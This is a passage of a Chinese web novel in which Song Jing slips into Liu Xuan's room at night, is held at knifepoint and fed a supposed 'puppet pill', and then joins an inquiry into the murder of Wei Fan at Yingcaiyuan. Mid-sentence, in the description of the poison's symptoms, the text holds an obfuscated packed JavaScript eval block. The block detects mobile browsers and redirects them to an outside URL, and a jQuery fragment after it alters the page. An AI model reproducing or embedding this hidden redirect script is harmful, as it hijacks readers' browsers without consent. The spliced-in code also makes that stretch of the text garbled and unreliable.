两次突袭皆被宋旌轻松化解,双手皆被宋旌擒住后,对方也未显慌乱,反而右手向下一扣,扣住宋旌左侧肩膀,借助身体内旋后倾的惯力,趁宋旌不备之际,拽着宋旌的肩膀,将宋旌的一侧身体,猛然向床榻里侧一带,自己也顺势倒在床上。 宋旌受其牵制,重心发生偏移,向前踉跄几步,脚尖抵住榻身,小腿狠狠撞上床榻边缘,疼得他快要痛呼出声,却只能死命咬紧牙关。 床榻上,宋旌像一只拉满的弓弩,上身深弯,整个身体以腰为支点,折叠出一个尖锐的角度,脚尖用力点地,脚跟高悬,勉强支撑住摇摇晃晃的身体。 对方见状,心知时机正好,刻不容缓,便借机趁虚而上,双腿屈膝,向后一蹬,只一个鲤鱼打挺,就从柔软的床褥中一跃而起,如一条绳索般,牢牢攀附于宋旌的腰际,身体高悬于半空,双手趁乱圈住宋旌的脖子,拖着宋旌,一起用力向下坠去。 就一眨眼的功夫,一百多斤的重量全部施加在宋旌那本就难以维持平衡的身上。 宋旌心中大惊,迫不得已,未免伤到对方,他只得在身体向下倾倒时,主动揽住他的腰,将他揽进自己的怀中,脚尖用力向上一抬,再点在床榻边沿,带着怀中之人腾空而起,在空中略微施力,旋转身体,临时调转了两人的位置,再护住他的后颈,以自身身体为垫,与他一同,重重摔在低矮的床榻之上,在“嘭”地一声中,发出一声细若蚊呐的闷哼声。 于是,在宋旌的协助下,柳悬被迫翻身在上,跨坐于宋旌的腰际。 适时,一道久违的闪电,伴随一声剧烈的“轰隆”声,一起划过天际,在淅淅沥沥的雨声里,两人的目光在蓝紫色的电光中交汇相融,彼此的心跳像是床褥上散乱的发丝一般,杂乱地交织在一起。 此刻,柳悬能感受到宋旌那灼热的呼吸喷洒在他的脸上,空气中弥漫着一股紧张而微妙的气息。 “宋公子此为何意?” 静谧的房屋内,宋旌感觉自己的脖子上正抵着一把冰冷的利刃。 借着雷电交加时那片刻的明亮,宋旌看见柳悬的眼中是前所未有的肃杀。 宋旌嗅到床褥里的药香,那不安的情绪也逐渐舒缓下来。 “哥哥素来偷袭时便这般狂野不羁?” 瞧见柳悬安然无恙后,宋旌暗中松了一口气,他并未回答柳悬的逼问,而是颇为放肆地翘起一条腿,枕着一只胳膊,仿佛察觉不到眼前的危机般,悠闲自得地躺在柳悬的身下。 柳悬那鹰隼般的眸子直逼宋旌,他收紧手中匕首,向下倾轧几分,想从宋旌的脸上瞧出一丝一毫的破绽。 方才宋旌在门外时,柳悬便已清醒。 疾雨暴风之夜,宋旌不好好待在自己的房内歇息,却要来敲他的门,是为什么?柳悬也很好奇宋旌想说什么,或是想做什么。 不过,柳悬万没想到,宋旌居然会在这雨夜时分,去而复返,再绕到屋后,悄无声息地翻窗进屋。 于是,柳悬暗吟不言,只是仔细聆听宋旌的一举一动。 直至宋旌越界,踏上脚床,俯身缓缓靠近,让本就机警的柳悬突然产生极强的侵略意识时,柳悬才忍无可忍,一触即发。 “哥哥当真要杀一个两度舍身救你于危难之人?” 宋旌的肌肤被柳悬的利刃划破,白皙的脖颈上出现一条极浅的红痕。 在醒目的一串血珠突然闯入柳悬的眼帘后,他才重新拾回神智,将匕首撤出。 宋旌从始至终都没有挣扎或反抗,就像他笃定柳悬一定不会伤害他一样。 柳悬翻下身,将匕首塞进枕头下的刀鞘中,心道“不该这般沉不住气,将自己暴露于宋旌眼前”,可事已至此,柳悬除了暗自思忖今晚这场戏到底要怎样收场以外,他似乎也没有更好的出路。 “哥哥。”宋旌随之起身,也不因柳悬才伤了他而置气,同柳悬一起并肩坐在床头,左手撑在身后,右手搭在屈起的膝盖上,声音极为得意、俏皮。 柳悬狐疑地看向他,只见他的眼底闪过一缕亮光,像一个蛊惑人心的妖魔。 宋旌倾身,凑到柳悬跟前,右手从身侧绕到柳悬身后,一字一顿,调笑道:“我好像抓住了你的狐狸尾……咳咳,咳咳咳咳咳。” 宋旌的话尚未说完,柳悬已经猜到了他心里那点小算盘。 柳悬的左手一把扼住宋旌的下颌,右手指尖捏着一颗小小的褐色药丸,趁宋旌开口说话之时,食指向里轻轻一推,同时左手向上猛地一抬,指尖般大小的药丸便就势滑入宋旌喉中,顺着他的食道落下。 若是宋旌方才不犯贱说那一句,柳悬还未想好要做些什么,可是宋旌偏偏要故意去招惹柳悬,那便怪不得柳悬狠心,对他略施小惩。 “咳咳……哥哥喂我吃了什么?”宋旌被自己的口水呛得停不下,直咳得眼角都泛起了泪花。 柳悬盘坐在榻上,五指用力,将宋旌的脸颊捏得发红,手肘向内收,使宋旌的身子向他倾斜,不得不侧躺在他的身下,笑不及眼底,神秘莫测道:“傀儡丸。” 说着,柳悬用另一只手的指尖划过宋旌脸上的细皮嫩肉,在宋旌的脸上留下一条条划痕,阴恻恻地威胁道:“宋公子若不想沦为一个活死人,当慎言,尤其是当明辨什么该说,什么不该说。” 宋旌的前臂横放在柳悬身后,他手肘半撑,斜倚在柳悬的身边,与柳悬相距不过一寸,从远处看去时,就像是宋旌靠在柳悬的腿上,画面十分诡异。 “傀儡丸?”宋旌轻笑,语速平缓,眨了眨眼睛,眉头又微微隆起,眼角有一抹若隐若现的笑意,沉吟片刻后,以一种任君处置的姿态,将一颗脑袋的重量都压在了柳悬的手心,歪头,好奇地望向柳悬,低声笑道:“不会是糖丸吧?” “糖丸?”柳悬闻言,也不自觉地翘起一侧唇角,眉梢轻扬,语调高了几分,刻意欺近宋旌,“若不信,尽管一试,倘若我不及时予你解药,你且观自身是否会毒发。” 说着,柳悬又将宋旌的下巴向上抬高了几寸,迫使宋旌起身,从手肘半撑变成手掌直撑的姿势,继续仰视他。 柳悬的笑意更甚,他抚摸着宋旌那白皙的脖颈,眼底似有一股邪气,“哦~对,你尚不知毒发时的症状为何。” 柳悬的手指轻抚过宋旌的额发,一边描述着毒发时的症状,一边顺着宋旌的脸颊向下。 “初期无非头晕目眩、心悸加速、意识混沌罢了,”柳悬的手指划过宋旌左侧的鬓角,擦着宋旌的耳垂,描摹过宋旌的下唇,“至中期,则会指甲疯长,口中微露獠牙,且愈发嗜食生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295181|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,”柳悬用力摩挲过宋旌的薄唇,使得宋旌如同被闪电击中了一般,不自觉地轻颤了一下,而柳悬的手也移到了宋旌的脖颈,顺着宋旌的喉结一路向下探索,“末期,则毛发尽脱,形容变得狰狞可怖,浑身遍生脓包,牙齿似落叶飘落,五脏六腑如蜡炬俱损,直至化为一具全无意识的怪物……” 柳悬正滔滔不绝地说着,却忽地感觉手腕被一股不容抗拒的力量紧紧握住。 宋旌的左手紧握住柳悬那只滑至胸间的右手,猛地向后一拽,带得柳悬的身子不由自主地向右前方倾去。 待两人间的距离忽然近到彼此都能看清对方脸上的绒毛时,宋旌那爽朗的笑声才在柳悬的耳畔响起:“若是哥哥喜欢,宋旌为人为鬼又何妨?” 宋旌嗓音较之以往,忽然变得低沉而充满磁性,似乎是出于难以自持的情动,才不得不倾吐出那至死不渝的……心意? 柳悬一晃神。 宋旌用左手扶住柳悬的后颈,一片滚烫的嘴唇落在柳悬的耳根,留下蜻蜓点水般满含温柔缱绻的一吻。 柳悬的脖子一缩。 他只觉得耳垂处传来一股温热,心脏与瞳孔猛地紧缩成一条,继而瞪大眼睛,满脸写着不可置信,直盯着宋旌,张开的嘴里却发不出一丁点声响,眼中满是惊愕与不解。 随后,柳悬惊慌失措,双手用力,一把推开宋旌,像是被针扎了一样,猛地从榻上弹跳而起,又因惯性太大而向后踉跄了几个大步,险些摔倒在地。 柳悬站在原地,双手紧握成拳,他的眼神空洞而迷茫,呼吸急促而紊乱,仿佛整个世界都在这一刻变得模糊不清。 一时间,柳悬只觉脑中不太清醒,一片混乱,满是吵嚷的嗡鸣声,像是做梦般,让他无法思考,也无法呼吸。 “公子?” 恰逢此时,柳悬的房门被轻红敲响。 “你醒了吗?” 轻红的声音从外间传来,让紧张到凝固的氛围稍微缓和了一些。 “有官爷来报,说各院的人现下都得去德馨殿接受大理寺问事的问话。” 正当柳悬一阵兵荒马乱,不知该如何是好时,轻红的话刚好替他解了燃眉之急。 柳悬甩了甩脑袋,将头脑中那些解不开又烦人的疑窦通通压下,静下心,仔细去听,才刚发现院里的雨声已经停了,各个房间都传来悉悉索索的穿衣声。 “知晓了,这就去。” 柳悬用沙哑的嗓音回了话,尽量让自己像往常那般镇定,径直走向衣桁,正准备替自己更衣,却忽然想起屋内不只有他一人。 “宋公子耳力不佳,怕是还未听清外间所言?”柳悬蓦地停下宽衣的手,只打眼往床上一瞧,正巧跟宋旌紧紧追随的视线撞了个正着。 方才还来不及脸红的柳悬本已没了羞赧的心思,可在他看见宋旌那颇为期待又直白的眼神后,却是不受控制地红了耳根,只觉得耳朵又烫又痒。 “自是听见了,不过……”宋旌起身,离开了柳悬的床,走至窗前,往窗外随意地望了一眼,窗外灯火攒动、闹闹嚷嚷,宋旌在柳悬的眼前转了一圈,提起胸前的衣领,让本就低至腹部的衣衫,豁然敞开一个巨大的口子,露出一件薄薄长衫下精壮的身躯,“哥哥当真要我以这般模样离开哥哥的寝居?” 宋旌之前出门太急,尚未来得及穿上一件里衣,只简单披了件罩衣长衫,就着一条白色里裤,就急匆匆地过来了。 现下,好在柳悬屋内尚未点灯,窗户亦未打开,外间看不清里间的情况。 “宋公子莫非记不起来时的路?”柳悬挑起一侧羽眉,走至某处角落,打开那扇虚掩的窗,一本正经道,“怎么来,便怎么回。” 说着,柳悬给了宋旌一个“懂?”的眼神后,又扔给宋旌一件崭新的里衣,心烦意乱地催促道:“速速穿上。” 宋旌接住里衣,展眉一笑,果真听从柳悬的命令,从窗户那儿翻了出去。 宋旌回屋时,刻意避开了所有人。 柳悬扔给他的里衣,他也没有穿,因为他压根用不着穿,以他的身手,想要避开院子里的人,不过是不费吹灰之力的事。 宋旌点燃了屋内的灯,宽衣时,思索起这一夜的经历。 在宋旌看来,眼前的柳悬与他记忆里的柳悬相去甚远。 柳悬今夜明明与常人无异,虽然宋旌被柳悬从地牢中救出来的时候,就已经知晓柳悬身有残疾一事实则是柳悬苦心经营十多年的障眼法,但是宋旌明明记得柳悬亲自认下雨夜隐疾一事与自小身患怪病有关,那柳悬这一夜为何没有发作?甚至面色红润、气息平稳,丝毫不像是为疾所困的模样?再说那屋中陈设……宋旌此前怎就没有留意,柳悬当年的屋子里,可从来不会安置如此多危险的物什,就连床榻的四角都要让轻红用棉布包裹上好几层,以免柳悬犯病时自戕…… 冥冥中,宋旌总觉得柳悬曾经向他隐瞒了很多事,那些事甚至是到他死,他都不曾向宋旌透露过一星半点。 “骗子!”宋旌面色凝重,眼神微闪,眼眶微红,一想到柳悬的身体曾经在他的眼前一日日的垮掉,而他却一无所知、毫无办法,最终只能等到他离世的结局,宋旌就觉得胸口发闷,喘不上气来,气得一拳砸在墙上,砸得手指关节破损出血,将墙面砸出一个满是裂痕的坑来。 21.案发 天际犹沉浸于将明未明之晦暝事,宋旌与柳悬并肩而行,朝那偏远的德馨殿匆匆而去。 沿途之上,空气里弥漫着一股浓郁的水汽,宛如轻纱般缭绕不散,石板小径上尚留存着雨后积水,倒映着周遭景致,恍若镜中幻境。 花草树木经过雨水的洗礼后,更显青翠欲滴,勃勃生机中透着清新气息,而那湿润的泥土下,似乎有万千生命正蠢蠢欲动,散发着质朴而醇厚的自然韵味。 然则,此景虽美,路上行人却皆是一副睡眼惺忪、尚未从梦中完全抽离之态。 灯火阑珊之中,柳悬与宋旌随行于熙熙攘攘的人群之后。 他们只见灯火如豆,摇曳生姿,将这无边的夜色与即将到来的一线晨曦交织得既朦胧而又神秘。 此刻,约莫是寅时末,英才院内,各处院落已陆续点亮灯火,火光宛如点点星辰洒落凡间。 其中,三三两两的门生在侍婢与侍郎的轻声指引下,手提灯笼,步履匆匆。 一行人浩浩荡荡,朝着德馨殿的方向行进,步伐中带有一丝急切与不安,仿佛预示着将有重大变故降临,为这宁静的清晨增添了一抹不容忽视的紧迫感,空气中也弥漫着一种难以言喻的压抑。 “究竟是何缘由,竟能引得那些宿卫倾巢而出?” 人群中,柳悬与宋旌的耳畔同时捕捉到一句略带不耐,且仍残留着睡意的低语,却也不难察觉出其中隐藏的惊慌。 今晨,前来各院唤醒众人的官兵,乃是盛京各坊中专职巡逻的小吏。 这些小吏平日里负责维护所辖区域的安宁,手握一定的执法之权,他们的现身往往预示着其所辖坊区内,或有大奸大邪之人作祟,或有命案要案之事发生。 而今,他们毫无征兆,突然到访,确实像是在英才院这方平静的湖面上投下了一颗巨石,激起了英才院内的层层波澜。 忽而,一阵微风拂过,人群中有人借势以袖轻掩唇边,故意压低嗓音,神秘莫测地低语:“我可听闻,是那落霜院内昨夜发生了一起重臣之子的命案!” “命案!?”此言一出,四周瞬间陷入一片死寂,片刻过后,在众人或是惊惧交加、或是难以置信的注视下,有人按捺不住好奇心,小心翼翼地追问:“究竟是何人遭遇了不测?” 那人眉头紧锁,目光闪烁不定,似是在衡量话语间的分量,又似是在竭力回忆他那从某个隐秘渠道探听来的消息。 沉吟片刻后,他深吸一口气,终是缓缓开口道:“据传,乃是那缂州折冲府都尉的嫡子,唤作……” “魏子谦。”未待那人说完,一旁另有知晓内情的人急切地抢断话头,语气中满是震惊。 “对,正是此人!”那人的神色间亦流露出几分难以置信,连忙点头附和。 宋旌闻此消息,心中猛地一颤,不由自主地回想起昨日清晨,在回府前那偶然的一面之缘——魏凡。 魏凡,字子谦,缂州绾昔人氏,十四岁便举行了及冠礼,家中仅有一房妾室侍奉左右,始终未能迎娶正室,其原与绮地照浦朱家的二小姐定下姻亲,两家商议,只待佳期一至,便能喜结连理。 然而命运弄人,魏凡忽被诏至盛京,一去数年,院中的正室之位也一直空悬,膝下无子,成为魏家的一大遗憾。 宋旌万万没想到,那盛气凌人、趾高气扬的魏凡,仅仅在一夜之间,竟已化作一具冰冷的死尸! 这突如其来的变故让宋旌的心中充满了疑惑与震惊。 宋旌隐隐察觉到,之前自己未曾留意的英才院之案,定与魏凡之死有着千丝万缕的联系。 然而,魏凡之死与魏鹏此后协助贼子谋反又有何瓜葛? 这一连串的疑问如迷雾般笼罩在宋旌的心头,让他一时之间也难以捉摸。 尽管此刻,那纷繁复杂的线索仍如一团纠结的乱麻,让宋旌倍感头痛,然而他的直觉却好似一盏黑夜中的明灯,清晰地指引着他——理清这个线团的一端,似乎已经悄无声息地落入他的手中。 “魏子谦?他不是那个整日与一群狐朋狗友在艳香楼中花天酒地、嚣张至极且无人敢捋其虎须、触其霉头的常客吗?这个臭名昭著的五陵恶少可是一个四处留情的浪荡子。”在庞大的人群中,有人闻听死者的名讳,似是曾经与魏凡有过一些不浅的交情,又或是对魏凡流传在外的诸多事迹早有耳闻,不禁玩味一笑,眼底闪过一丝兴致,勾起一侧嘴角,意味深长地胡乱瞎猜道:“莫非是造下的风流债太多,终致牡丹花下死,做了那令人艳羡的风流鬼?” 说着,这人禁不住捧腹大笑起来。 “牡丹花下死?”人群中,立即有其他人不屑地冷哼一声,言辞犀利,反驳之声如寒冰般刺骨,不客气地回怼道:“我看未必见得,此事必不会如此简单。” 另一人不知是不是与魏凡有过什么不解之仇,亦或是对魏凡的作派及其为人处世的风格极为不齿,脸色铁青,咬牙切齿道:“这魏三公子据说在入京前便是一个恶名远扬,所行之事令人发指,终日欺男霸女,无恶不作的无耻之徒,且不论他此前做过多少丧尽天良的事犹未可知。就说他自入京以来,在盛京欺压弱小、媚上欺下,仗着他爹与吏部冯尚书的交情,横行霸道,更是变本加厉,无恶不作,不知结下多少仇家。” 言及此处,另一人似是回想起魏凡的种种恶行,想到魏凡像鬣狗一样,一旦被人招惹上就咬死不松口的性子,另一人像是深受其害般,直恨得目光如刀,咬牙切齿地说道:“且不提那过去良久的恶状,单说那季夏之初,落霞院内,一介下州县的县令之子,不过是无心冲撞于他,你们猜他是那般?” 另一人有意停顿了一下,引得众人纷纷侧目相看,在众人的注视下,另一人捶胸顿足、痛心疾首,继续说道:“他竟命院里的奴仆似恶犬般纷纷扑了上去,将那小孩的衣衫撕得粉碎后,赤身裸体地绑于廊柱之上,任凭众人观看、蚊虫叮咬,硬生生地吊了那小孩一夜。你们不知,那惨状,简直是令人目不忍视!试问,若尔等遭受此等奇耻大辱,可能忍此屈辱,轻易饶过这厮?” “照你的意思……这魏子谦之死,乃是天理昭昭,报应不爽,仇杀无疑?”人群中有好事之徒眼含兴奋,接过话茬,语气中透露出一丝惊疑,仿佛在案情下,隐藏着某种令人血脉喷张的秘密。 “仇杀也好,情杀也罢,诸位在案情真相大白之前,且先等等吧!万一是自戕也说不准呢?”就在这时,一个与前两人截然不同的声音响起。 第三人手执一把折扇,轻摇慢摆,一副超然物外的模样,悠悠然,从人群中踱步而出。 这人眼中隐藏着几分高高在上的优越感,嘴角勾起一抹玩味的笑,轻描淡写地扫过众人,得意道:“再者说,我所得消息可是,魏子谦之死已惊动朝廷,御史台的何御史与大理寺的罗少卿将会亲自督办此案。待会儿,刘中丞与王寺丞也会亲临德馨殿,想必其中隐情很快就会大白于天下,最终水落石出。” 宋旌静静地伫立于人群之中,耳畔流淌过的每一句话语,都仿佛化作了无尽的暗流,在他的心海中翻涌起层层波澜。 那些被人轻描淡写提及的信息,于宋旌而言,却是曾经忽略的关键所在,是隐藏在记忆尘埃下的斑斑血痕。 就说那冯尚书,老奸巨猾之辈,其城府之深,犹如千年古潭,不可测也;何御史则佛口蛇心,言辞间以慈悲为怀,内心却如毒蝎般狠辣,口蜜腹剑,令人是防不胜防;而王寺丞更是阳奉阴违的高手,表面谦恭,背后则刀光剑影,两面三刀,游刃有余于朝堂的尔虞我诈之中。 在宋家那场突如其来的灭顶之灾中这些幕后黑手共同策划、推波助澜。 彼时,宋旌尚被困于保家卫国、护城安邦的武将之位上,对皇权斗争的暗流一无所知,他又怎会料到,那个一直被视为边缘角色、默默无闻的八皇子,竟会在某一天突然掀起惊涛骇浪,以弑父之名,夺权篡位,颠覆乾坤?更令他震惊的是,朝堂之上,那些看似沉睡已久、实则蠢蠢欲动的势力,竟会如饿狼扑食般指向从未涉足这些腌臜之事的宋家,将无辜的他们推向万劫不复的深渊。 现下细细思量,这些人怕是早已暗中勾结,织就密网。 否则,区区一个正四品官员之子的亡命案,在盛京这种权贵云集的地方,岂能掀起如此轩然大波?以至惊动朝廷,牵扯出太子的势力,令御史、少卿两位朝中重臣亲临督办? 宋旌与柳悬抵达德馨殿之际,只见殿中除了驻守的宿卫外,别无他人。 “宋将军?!” 宋旌甫一踏入殿门,一道既惊喜又充满敬畏的呼喊声便打破了殿中的平静。 宿卫统领黄一博的双眼一亮,脸上绽放出久违的笑容,快步上前,向宋旌行了一个既标准又利落的军礼。 黄一博曾经也是宋旌的部下,在宋旌率领的朝阳军中摸爬滚打,以一名小卒的身份一路成长至今。 一直闭目养神的柳悬,此刻也缓缓睁开双眼,静静审视起宋旌。 “黄中侯。”只见那一向目中无人、嚣张跋扈的少将军在曾经一起出生入死的部下面前,居然一改往昔常态,对这个名不见经传的七品小官以礼相待,平易近人得令人难以置信,“现下进展如何?” 宋旌的发问沉稳有力,就像他在自己的军营中询问一件无足轻重的小事,自带一股凌厉的气势。 那黄一博听得宋旌问话,也不觉得有何不妥,主动侧身让开,让宋旌能够清楚地看见殿后的情况。 “回禀将军,魏公子的尸身已经暂且安置在殿后,属下也差人去请附近的太医博士前来检验。此刻,范法曹正在里间对相关人员进行问讯。”黄一博恭敬地答道。 “刘中丞与王寺丞何时能至?”宋旌不着痕迹地追问,却字字透露着对案件进度的挂心。 “约莫还有半个时辰。”黄一博回话时内心十分忐忑,他习惯了宋旌那雷厉风行的行事风格,又深知那些文职官员办事往往慢条斯理、极为怠慢,只得憨厚一笑,无奈地挠了挠头,眼神中流露出一丝歉意,误以为宋旌是因临时被叫来协助而心生不满,连忙解释道:“此事事发突然,恐怕一时半会儿无法了结,宋将军与公子要不先坐下小憩片刻?让我为你们备些茶水。” 黄一博向来心思细腻,他见柳悬与宋旌同行,又一直候在宋旌身侧,心中便已确定两人的关系非同一般。 宋旌在黄一博的提醒下,这才恍然发觉自己竟忽略了身旁的柳悬,他连忙将目光落在柳悬身上,仔细打量后,见柳悬的面色如常,神情淡然,这才渐渐放下心来。 宋旌蹲下身,柔声说道:“哥哥不妨再歇息一会儿,时辰尚早,需 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“主子就是奴的活命根子,害了主子就是断了自己生路,奴还不得饿死?这能有啥好处?这年头,奴这种人,过得是风吹雨打的日子,能活下来已是万幸,奴哪还有心思去害人啊!” “是啊是啊!奴都是本分人,这事儿跟奴们真的不沾边儿啊!” 众人跟着前两个能说会道的人一起齐声附和。 “昨儿夜里,主子自一更起便只与蒋公子独处,不让旁人近身伺候。夜里又下起了大雨,屋里头黑漆漆的,就只能点一盏油灯。咱们这些奴仆,只能摸黑挤在一块儿躲雨,哪还有机会跑到主屋去害主子的性命哟!” 在众人七嘴八舌的辩解声中,有三道声音令宋旌倍感熟悉。 其一,是魏王氏的媚声; 其二,是含光的少年声; 其三,是含春的柔情声。 众人争辩的声音如同林中叽叽喳喳的鸟雀,吵得范法曹头疼欲裂。 许是忍受不了了,范法曹直指向人群中的一人道:“旁人都先静一静,你且上前道明你的身份,说说你昨夜在哪儿,都做了些什么?” 正巧,被范法曹点中的人,正是含光。 含光战战兢兢地磕个头,双膝跪行至人群前,颤抖着说:“回郎君的话,奴是主子跟前的贴身侍候,昨儿个确实是奴在一旁伺候着。” “下雨前,主子身子还很硬朗,跟那些力士们摔跤玩乐,一点儿没看出来有啥不对劲的地方。” “后来,栖霞院的那位蒋公子说他是接了主子的帖子来的,院子里的婢女就领着他去了主屋。” “主子见了他,就吩咐奴去张罗些好酒好菜,说是要跟蒋公子在屋里头说一些体己话,奴将酒菜送进主子屋后,那门啊,关得严严实实的,谁都不让进。” “二更天光景,主子突然嚷嚷着自己头疼得要紧,要奴把先前煎好的药给他端过去。” “奴一听,急忙跑去把药端上,轻手轻脚地送到主子面前,伺候着他慢悠悠地把药喝了,等主子喝完药,他又把我打发回了下房。” “之后,奴就跟其他几个侍郎兄弟待在下房,心里头扑通扑通跳个不停,也不敢走太远,就在那附近候着,早晨主子刚发了一顿脾气,我可不敢怠慢,一直留意着主子屋里的动静。” “奴离开还不到三刻,就瞅见蒋公子和主子拌起嘴来,俩人还动上了手,奴心里头那个急啊,怕主子闹出事,连忙跟下房的几个侍郎说了,说主子跟蒋公子打起来了,奴想再去瞧瞧主子。” “奴心里头一直记挂着主子,就鼓足勇气去敲了敲房门,颤着嗓子问主子,还有无其他吩咐。” “结果主子在里屋大吼,让奴赶紧滚远一些,别再去打扰他们,主子那吼声里听着全是火气,奴吓得只能退回来,心里头像打鼓一样砰砰乱跳,再也不敢去了。” “再往后,奴心里乱糟糟的,就坐在凳子上,迷迷糊糊就睡着了。等到雨不下的时候,突然出现的一阵吵闹声,把奴跟下房的侍郎们都惊醒了,再听,才知道原来是有人在喊走水了,奴跟其他几个侍郎不敢耽误,赶忙爬起来,准备去帮忙。” “就在这个时候,奴与其他人一起瞧见蒋公子神色慌乱,衣服也乱糟糟的,急匆匆地从主子屋里头跑出来,好像后面有啥可怕的东西在追他。” “等火扑灭之后,奴想进屋去瞧瞧主子咋样了,结果一进去,就看见屋里一片狼藉,主子……主子他……” 说到这儿,也不知道含光是不是心里头难受得紧,眼泪止不住地往下流。 那范法曹一板一眼,秉笔直书,正如实记录到“蒋公子”时,忽又抬头问道:“这栖霞院中的蒋公子,究竟是何许人也?” 含光低头,恭敬答道:“听主子以前提过几句,说那蒋公子乃是槐地鲷州蒋刺史的嫡长子,单名一个礼字。” 范法曹一听此名,手中的笔不自觉地停驻在纸上,眉头紧蹙,似有所思。 这厢,宋旌也正全神贯注地听着,在含光提及“蒋公子”三个字时,宋旌总算是拨开云雾见月明,弄清楚了蒋聪当年与太子结怨的缘由,又猜到了蒋聪当年在鲸海一役中叛变的症结所在。 想来,上一次,蒋礼在此案中应当未活过今年秋天。 22.刺伤 “宋小将军?” 一声苍老而谄媚的呼唤声,将宋旌从思绪中拉了回来。 宋旌抬头望去,只见姗姗来迟的王寺丞正迈着不紧不慢的步伐,面带一抹意味深长的笑意,缓缓向他走来。 宋旌当年就是吃了眼高于顶的亏,害得宋家在文官间的名声极差,也算是间接造成宋家惨案的推波助澜者,以至于柳悬后来费了不少心思去调.教宋旌,这才让他勉强学会隐藏自己的喜怒。 “王寺丞。” “刘中丞。” 宋旌起身,恰到好处地施了一礼,向那两位阴险狡诈之辈,主动放低姿态。 “未至辰时,宋小将军与柳公子怎在英才院内?”王寺丞满面慈爱的笑意,那笑容中既有几分客气,又有几分审视。 显然,这只老狐狸已经从别处听说了宋旌与柳悬现下也在德馨殿的消息,否则他也不会前脚刚踏过殿门,后脚就直直朝宋旌走来,连魏凡的案情都未来得及过问一句。 宋旌直起身,嘴角挂着一抹若有似无的笑意,神色慵懒,语气还算是客气,皮笑肉不笑道:“说来也巧,我和兄长这几天正住在英才院的风斋里,今早被宿卫唤来时才听说院里出了大事,可等了许久,直到现在还没个准信儿,也不清楚接下来还有何安排,便只能先候在此处了。” 话音刚落,宋旌的腹中适时发出“咕噜咕噜”的声响,那声音在安静的殿堂中显得格外响亮,直听得那刚用过早膳的刘中丞老脸泛红,也不知是被这突如其来的声音给羞得,还是在故作姿态。 王寺丞轻咳一声,捋了捋那撮略显花白的胡须,嘴角扬起一抹坦然的笑意,和颜悦色地说道:“倒是老生与刘中丞的不是,让两位小公子久等了。” 说着,王寺丞还像模像样地抱拳于顶,准备躬身致歉。 宋旌心中冷笑一声,眼见那只老狐狸一番令人恶心的做作姿态,十分不屑,正欲草草了结寒暄,用一句“无妨,两位郎君尽管去忙正事。”来结束这段毫无意义的对话。 可宋旌没曾想,柳悬反应迅捷,抢在他之前开了口,语气不卑不亢:“王公此言差矣。” 柳悬端坐在轮椅上,抢在王寺丞向宋旌躬身前,先一步低头,向两只精神矍铄的老狐狸欠身致歉,抬眸时,用饱含诚意的目光轻掠过那两张满是沟壑的老脸,看得那王寺丞尴尬地收回手,面露难色。 “柳某与少将军不过是两位郎君的后学末进,郎君们每日需要处理诸多事务,繁忙至极,我等闲散之人,怎能与郎君们相提并论?” 柳悬‘心悦诚服’道:“郎君们经验老到、阅历深厚,处置此案定然是胸有成竹,早已胜券在握,自有妥善安排。” “想必,在两位郎君的精心筹划下,只要此案能顺利告破,纵然让我等再多等一时三刻又有何妨?”柳悬推心置腹后,忽然停顿了一下,面色一沉,话锋一转道,“只不过,此案在英才院内闹得是沸沸扬扬,英才院又地处京城要害,就在陛下的眼皮子底下,柳某妄自揣测,少将军怕也是忧心,这多花费一刻,陛下心中的忧虑便会多增添一分……” 说着,柳悬与一脸茫然的宋旌对望了一眼,“少将军与柳某的境况不同,他身为陛下亲封的大将军,肩负着守护皇城安危的重任,皇恩浩荡,他自然会对此案更为上心,恨不得立刻将真相大白于天下。” “但是话说回来,”柳悬推动轮椅,“少将军这个初出茅庐的武将毕竟还是年轻,上心归上心,他对于那查案推凶、抽丝剥茧的细腻活儿,恐怕仍是力有未逮,只能在旁跟着众人一起干着急。” “如今,好在两位郎君亲临,我等晚辈犹如拨云见日,满心指望着两位郎君能不辞辛劳,多多费心,为陛下排忧解难的同时,让晚辈们有机会增长见识才是。” 柳悬用‘钦佩’又‘满含期冀’的目光望向两位局促不安的官场老油条,一番言辞,可谓是滴水不漏,既巧妙地将宋旌心中的不满转化为对陛下的深深忧虑,又不动声色地给王寺丞与刘中丞扣上了一顶难以挣脱的高帽,让他们无从反驳。 言罢,柳悬的轮椅已悄然无声地停在宋旌的前方,将他护得密不透风,宛如一道坚不可摧的屏障。 宋旌心中猛地一震,恍然大悟。 自己方才只顾着逞口舌之快,嘲讽那两个老奸巨猾之辈,却全然忘了旗国律令中明文规定:案发之时,司法者有权将案发现场所有关联之人一并收拢管束。 险之又险,宋旌一步踏空,差点落入那老狐狸处心积虑设下的文字陷阱中,无端背上那“狂妄自大、藐视法纪”的恶名。 王寺丞捋须而笑,似乎对柳悬的插言浑不在意,反而颇为嘉许地说道:“柳公子实在过于自谦了,不愧是英才院中多年稳居榜首的翘楚。既然宋小将军对此案如此上心,何不一同参与督办?早就听闻二位公子智勇兼备,宋小将军更是深得陛下青睐,此案若有宋小将军亲自为陛下排忧解难,想必陛下也会更为心安。” 好一招请君入瓮! 那王寺丞心中跟明镜似的,他深知此案牵连甚广,内情错综复杂,稍有不慎便有可能触怒皇后一族与太子殿下。 这明面上的危机尚且能够小心应对,可最为棘手的是,魏鹏的身后,还潜藏着一股深不可测的势力,他们正虎视眈眈,随时准备扑咬上来,将整个局势搅得天翻地覆。 然而,这王寺丞却偏偏想用那司马昭之心,路人皆知的三言两语,轻轻松松地将宋旌和柳悬也拉入这滩深不见底、危机四伏的浑水中,真是打得一手暗藏杀机的好算盘。 柳悬见状,眉心微蹙,他在心中暗自思量,眼中闪过一丝忧虑,他本想替宋旌找个由头,婉言推辞,可他也未曾想到,那宋旌竟是吃了秤砣、铁了心,非要趟这趟凶险万分的浑水不可。 